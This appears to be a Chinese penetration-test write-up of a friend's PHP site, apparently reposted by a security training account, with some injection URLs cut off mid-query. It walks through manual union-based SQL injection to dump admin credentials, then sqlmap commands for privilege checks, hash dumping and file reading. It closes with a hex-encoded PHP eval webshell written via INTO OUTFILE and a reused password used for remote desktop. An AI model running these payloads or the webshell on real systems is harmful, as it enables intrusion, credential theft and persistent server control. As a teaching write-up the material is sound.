原创:3s_NwGeek合天智汇10X01背景自己之前写过一篇记录,当时是由于之前是一位校友刚做开发,叫我友情帮忙测试测试一波,由于是开发的新手,漏洞比较多,所以直接从注入开始讲起,但是到getshell的过程也算是一场峰回路转再跌跌撞撞的路程。20x02注入测试判断注入是否存在http://11X.XX.XXX.XX/test/sub_hack.php?
那试试payloadhttp://11X.XX.XXX.XX/test/sub_hack.php?id=229orderby2828返回不正常
那么可以说明他字段个数是27,而且后面要用到这个数字。第二步:联合查询http://11X.XX.XXX.XX/test/sub_hack.php?
对应的数字就会显示在页面中,我把对应数字改成sql语句,就会得到sql查询结果举例子:http://11X.XX.XXX.XX/test/sub_hack.php?
查询所有数据库名:group_concat(SCHEMA_NAME)http://11X.XX.XXX.XX/test/sub_hack.php?
查询当前数据库所有表名:group_concat(table_name)http://11X.XX.XXX.XX/test/sub_hack.php?
上述图发现表名:admin,要查询查询表中的字段先把表名转换为16进制(标黄为表名的16进制转换值)group_concat(column_name)http://11X.XX.XXX.XX/test/sub_hack.php?
发现其字段有user_id,username,userpassword下一步只需要查询username和userpassword即可group_concat(username,0x7c,userpassword)http://11X.XX.XXX.XX/test/sub_hack.php?
30x03峰回路转到此,我们知道了知道用户名为admin,密码为123了在之前已经在信息收集的地方收集到后台了,然后尝试登陆,登陆成功了
登进后台发现,是真的没有上传地方阿,也没有其他包含,redis其他服务,学信息安全的男生都不会轻易认输,再查看之前的扫描结果,灵机一动还有一根救命稻草,3389!
不过还发现开放3306端口,不是有注入吗,直接连数据库getshell呀太心急想getshell不一步步手工了,sqlmap走起“查看权限sqlmap-uhttp://11X.XX.XXX.XX/test/sub_hack.php?id=231--current-user--dbms=mysql-v3
currentuser:'root@localhost'当前用户是root
引发报错找到绝对路径+root权限那我是不是可以写shell了sqlmap-rC:\Users\sqlpost.txt--time-sec3--dbms=mysql--random-agent-Dmysql-Tuser-CUser,Password--dump
参数:--file-write,--file-dest当数据库为MySQL,PostgreSQL或MicrosoftSQLServer,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。命令如下:
结果去访问,又给了自己一个心灰意冷,404Root密码md5丢到解密无果。。。才没有放弃,醒悟发觉sqlmap有个参数—file-read,发现可以下载页面文件下载下来就是不是能看到数据库连接的信息。
sqlmap-uhttp://11X.XX.XXX.XX/test/sub_hack.php?id=231--file-read
舒服,源码到手,同时发现include数据库连接页面,以同样的方法获取数据库连接密码,开放3306直接连上去,
惊喜,意外
正常思路应该是这样的SELECT0x3C3F706870206576616C28245F504F53545B276C696E65275D293B3F3EINTOOUTFILE直接写shell上去不过在这之前我尝试了下用他数据库的密码尝试去登陆远程桌面,又一个惊喜,熟悉的对话框。
领取专属 10元无门槛券
私享最新 技术干货